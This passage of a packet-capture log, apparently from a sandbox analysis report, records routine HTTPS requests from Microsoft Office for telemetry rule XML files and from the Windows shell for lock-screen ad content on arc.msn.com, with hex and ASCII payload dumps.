57	192.168.2.6	49790	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:36 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 16:45:37 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:36 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: eee9af6d-a01e-001e-1905-4849ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164536Z-r1cf579d778xq4f9hC1EWRx41g00000005q0000000005xby x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 16:45:37 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.6	49791	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:36 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 16:45:37 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:36 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 836d2ba0-b01e-0070-7302-481cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164536Z-r1cf579d778z4wflhC1EWRa3h0000000060g000000001bre x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 16:45:37 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.6	49793	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:36 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 16:45:37 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:37 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 7b814a2b-101e-0017-4003-4847c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164537Z-r1cf579d778mvsklhC1EWRkavg000000064g000000004nqw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 16:45:37 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.6	49792	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:36 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 16:45:37 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:37 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 32c7c32d-b01e-003e-2b01-488e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164537Z-r1cf579d778qgtz2hC1EWRmgks00000005t0000000001m0y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 16:45:37 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.6	49794	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:37 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 16:45:37 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:37 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 45682ef5-801e-0048-7703-48f3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164537Z-r1cf579d7786c2tshC1EWRr1gc00000005e00000000077hw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 16:45:37 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.6	49796	20.223.36.55	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:37 UTC	2587	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=280815&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241208T164533Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=e985612ba0274586b739c33b3d285977&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=619827&metered=false&nettype=ethernet&npid=sc-280815&oemName=icwkdy%2C%20Inc.&oemid=Public&ossku=Professional&scmid=Public&smBiosDm=icwkdy20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=619827&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waas [TRUNCATED] Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6 X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAVELxFvNU03Tg7Z2E/gE9Cn8EXHzmlsS6ZSIkIvIeG0reLUVeJSbilrW4Hy949NAxOwEn76s5zGhqf92S26HHaUbOENiDFUFbdM1vZReXnnesXoMyCYfLgTivUDBuCZGiy3DtAqR3/7WCegRR2nLr2Quk90EkFIqG0+NVg8kHt0LMKT8hOw5b1J/58kNfc77U/ZXbh7o6PPIdgJlJzSJbORYtJ1Kr5jOMvjtJMYCht4qdDwdRDm4ou1qOD9bE4jzDbmOPZIkfGkQGHMiiP/DOwO6letwVYGsBE7LbMe3CUSyztnIj3rFvvAPGB87AP6q2NEvIE/F5S2iYUdodE9KaJYQZgAAEGAcu8N3qd+O11i6BTnPFZ6wAR7a9XVxBwAtBviNmyfFP9NCqGc8ztODCECQnRVrNYhvoKHQwQeKdhrWS4rpz/Tbh5reYJSv5lqmAXW6Wsza64BZXo5xqSamtLC3lum/cETFIl/2E7SpPnJ7YQKaLSAlnpa/FpM8D110FwrWLxYUg7jdUQlrwK14Jbk+EKH+SKCfEquecZ8+3lGLiVCKeftDzi1/lc8gN+Sc2p4S9FOqYvKuiRb+X96+uFOw4PUdhU1NVgl3P4VxH6RaUfUwZYax62B74NMVXH0ga57y7chFsHFI7H3nZIxjZbQgUqSo5JO9LcVhGLQl0WmeRv2Bydt6ShL8XKaVVCvBjPnO90fHp8cLZpM23mNreAE6SpqLibomI7Od/d2AnGJK+M2Drl4G3EFP/73W/vqpftvS7o/miWz2yVEH45p43924E2e6LyCt1GfpW0vAFelQX7PYh9tKBfHZ8Y9BZLb1kqLhIsYp29gnL5bIy37BnK/qM21iZ4lo701nY5c3SsIBbp+KHaYk4HU7HyRIQIZozmlPu74XhObkeonMEP/Tmvj5B7j3W0oLt8n9CfBE1KCwCIWGNohaTtgB&p= Cache-Control: no-cache MS-CV: 432tsQ/J1USeXdCg.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0 Host: arc.msn.com Connection: Keep-Alive
2024-12-08 16:45:37 UTC	955	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2939 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"RADIDS":"1,P425116123-T1-C128000000001627409+B+P20+S1"},{"OPTOUTSTATE":"65792"},{"REGIONALPOLICY":"1"}] X-ARC-SIG: WUfv6dGUGHlACzijKHFL4sagR8W10TgfrQu9zmT+gPufIXI6xD5CyUgFzieESvoHYCzOmIUbrvqusLRKkrUUGoDHyu1wkWGRySqeD5CtELx+2zI28HnrB+LTpwyv01rVU4Uo6aV1YpFAVwOhxQzhcDEiLtTbhhUcWrSLHk5b+06dPQEczjnf5vVhwX0N0icDh47stsJCK7N8n8nspQqSSV3y/X9m5TEboBk4E0HvHt0AYpba2FXpQBgV7r/YR2n2sq22SBAADVrp4J1SiJdL7XpWP2mgAhkUTBdYKOgPgmA6PXndXV7Rc/7d+0bKW40o5cVc7XQTwu3qd3CmBj6BFg== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Sun, 08 Dec 2024 16:45:37 GMT Connection: close
2024-12-08 16:45:37 UTC	2939	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 69 74 65 6d 50 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6e 6f 4f 70 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 61 63 74 69 6f 6e 5c 22 7d 7d 2c 5c 22 69 74 65 6d 73 5c 22 3a 5b 7b 5c 22 70 72 6f 70 65 72 74 69 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"itemPropertyManifest\":{\"noOp\":{\"type\":\"action\"}},\"items\":[{\"properti

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.6	49795	20.223.36.55	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:37 UTC	2604	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338387&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241208T164533Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=5e83b02f85da431d9a3983f9103ae094&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=619827&metered=false&nettype=ethernet&npid=sc-338387&oemName=icwkdy%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&sc-mode=0&scmid=Public&smBiosDm=icwkdy20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=619827&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1& [TRUNCATED] Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6 X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAVELxFvNU03Tg7Z2E/gE9Cn8EXHzmlsS6ZSIkIvIeG0reLUVeJSbilrW4Hy949NAxOwEn76s5zGhqf92S26HHaUbOENiDFUFbdM1vZReXnnesXoMyCYfLgTivUDBuCZGiy3DtAqR3/7WCegRR2nLr2Quk90EkFIqG0+NVg8kHt0LMKT8hOw5b1J/58kNfc77U/ZXbh7o6PPIdgJlJzSJbORYtJ1Kr5jOMvjtJMYCht4qdDwdRDm4ou1qOD9bE4jzDbmOPZIkfGkQGHMiiP/DOwO6letwVYGsBE7LbMe3CUSyztnIj3rFvvAPGB87AP6q2NEvIE/F5S2iYUdodE9KaJYQZgAAEGAcu8N3qd+O11i6BTnPFZ6wAR7a9XVxBwAtBviNmyfFP9NCqGc8ztODCECQnRVrNYhvoKHQwQeKdhrWS4rpz/Tbh5reYJSv5lqmAXW6Wsza64BZXo5xqSamtLC3lum/cETFIl/2E7SpPnJ7YQKaLSAlnpa/FpM8D110FwrWLxYUg7jdUQlrwK14Jbk+EKH+SKCfEquecZ8+3lGLiVCKeftDzi1/lc8gN+Sc2p4S9FOqYvKuiRb+X96+uFOw4PUdhU1NVgl3P4VxH6RaUfUwZYax62B74NMVXH0ga57y7chFsHFI7H3nZIxjZbQgUqSo5JO9LcVhGLQl0WmeRv2Bydt6ShL8XKaVVCvBjPnO90fHp8cLZpM23mNreAE6SpqLibomI7Od/d2AnGJK+M2Drl4G3EFP/73W/vqpftvS7o/miWz2yVEH45p43924E2e6LyCt1GfpW0vAFelQX7PYh9tKBfHZ8Y9BZLb1kqLhIsYp29gnL5bIy37BnK/qM21iZ4lo701nY5c3SsIBbp+KHaYk4HU7HyRIQIZozmlPu74XhObkeonMEP/Tmvj5B7j3W0oLt8n9CfBE1KCwCIWGNohaTtgB&p= Cache-Control: no-cache MS-CV: 432tsQ/J1USeXdCg.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0 Host: arc.msn.com Connection: Keep-Alive
2024-12-08 16:45:38 UTC	815	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Length: 23238 Content-Type: application/json; charset=utf-8 Expires: -1 Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [] X-ARC-SIG: ZbjOcCTFp5Gt9ZhQjiflsH3VdlWI39otR4/1NvnmyBFVf6CDSNGEtNNY4VRyrSUFIZfyDLbC9cBW1ghGEk4Whofxwqcnn/+y4VvWz2wOHK8Cl9AEe95yIWHLLS+pYFb4hdw6XjOwvmV+6Q+f4JGIQZCSMNe6uuPLauSA41G3j0BaqriB4igrC6hDMtgyhOsARUBMA3SXV81bLGrTdzDFJSj+bZIglR58/Z7qCU+QMjS1hG46nhZF7QPtKnS6kwntz/8s3MVJHlyzJuHpvngmb7TQMRDoA/PEX9zboaggqeE9sOODFsXwUy4czStOFtTXjOq5P9U4qMPJqHcxQ2/b6g== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Sun, 08 Dec 2024 16:45:36 GMT Connection: close
2024-12-08 16:45:38 UTC	15569	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 6e 61 6d 65 5c 22 3a 5c 22 4c 6f 63 6b 53 63 72 65 65 6e 5c 22 2c 5c 22 70 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6c 61 6e 64 73 63 61 70 65 49 6d 61 67 65 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 69 6d 61 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"name\":\"LockScreen\",\"propertyManifest\":{\"landscapeImage\":{\"type\":\"ima
2024-12-08 16:45:38 UTC	7669	IN	Data Raw: 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 6e 61 6d 65 5c 22 3a 5c 22 4c 6f 63 6b 53 63 72 65 65 6e 5c 22 2c 5c 22 70 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6c 61 6e 64 73 63 61 70 65 49 6d 61 67 65 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 69 6d 61 67 65 5c 22 7d 2c 5c 22 70 6f 72 74 72 61 69 74 49 6d 61 67 65 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 69 6d 61 67 65 5c 22 7d 2c 5c 22 73 68 6f 77 49 6d 61 67 65 4f 6e 53 65 63 75 72 65 4c 6f 63 6b 5c 22 3a 7b 5c 22 69 73 4f 70 74 69 6f 6e 61 6c 5c 22 3a 74 72 75 65 2c 5c 22 74 79 70 65 5c 22 3a 5c 22 62 6f 6f 6c 65 61 6e 5c 22 7d 2c 5c 22 6f 6e 52 65 6e 64 65 72 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 61 63 74 69 6f 6e 5c 22 7d 7d 2c 5c 22 70 72 6f 70 65 72 74 69 Data Ascii: llections\":[],\"name\":\"LockScreen\",\"propertyManifest\":{\"landscapeImage\":{\"type\":\"image\"},\"portraitImage\":{\"type\":\"image\"},\"showImageOnSecureLock\":{\"isOptional\":true,\"type\":\"boolean\"},\"onRender\":{\"type\":\"action\"}},\"properti

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.6	49797	20.223.36.55	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:37 UTC	2594	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338388&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241208T164533Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=599aa2f5c22f41d79b0ab7768e4367d5&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=619827&metered=false&nettype=ethernet&npid=sc-338388&oemName=icwkdy%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&scmid=Public&smBiosDm=icwkdy20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=619827&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail [TRUNCATED] Accept-Encoding: gzip, deflate X-SDK-CACHE: 